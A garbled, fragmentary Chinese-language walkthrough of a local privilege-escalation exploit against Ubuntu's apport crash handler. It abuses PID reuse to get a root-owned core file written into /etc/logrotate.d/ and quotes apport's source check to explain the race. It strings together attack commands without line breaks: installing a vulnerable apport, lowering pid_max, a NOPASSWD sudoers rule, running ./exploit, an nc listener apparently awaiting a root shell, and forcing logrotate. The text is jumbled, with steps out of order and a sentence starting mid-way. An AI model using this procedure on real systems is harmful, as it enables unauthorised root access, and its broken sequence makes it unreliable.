sudo apt-get install apport=2.20.11-0ubuntu27(任何 <= 2.20.11-0ubuntu27.10 的版本都可以,但需要下载源代码)echo 10000 | sudo tee /proc/sys/kernel/pid_maxALL ALL=(root) NOPASSWD: /usr/bin/pingulimit -c unlimited; ./exploit/etc/logrotate.d/core 看到一个文件nc -lvcp 1234sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf 立即触发 logrotate。(与 /etc/cron.daily/logrotate 相同)Apport 会通过检查进程的启动时间是否晚于 apport 自身来判断 PID 是否被重用:
# /usr/share/apport/apport
594 apport_start = get_apport_starttime()
595 process_start = get_process_starttime()
596 if process_start > apport_start:
597 error_log('process was replaced after Apport started, ignoring')
598 sys.exit(0)
但这个 PID 可能在 apport 启动后立即被重用。这种情况下,get_apport_starttime() == get_process_starttime()。
因此,如果你能让另一个进程在 uid==0 下重新占用这个 PID,就可以让 apport 生成一个权限为 -rw------- root:root 的 core 文件:
/etc/logrotate.d/ 的情况下运行命令 sudo ping 8.8.8.8。一个以 root:root 运行的进程将重新占用 PID A。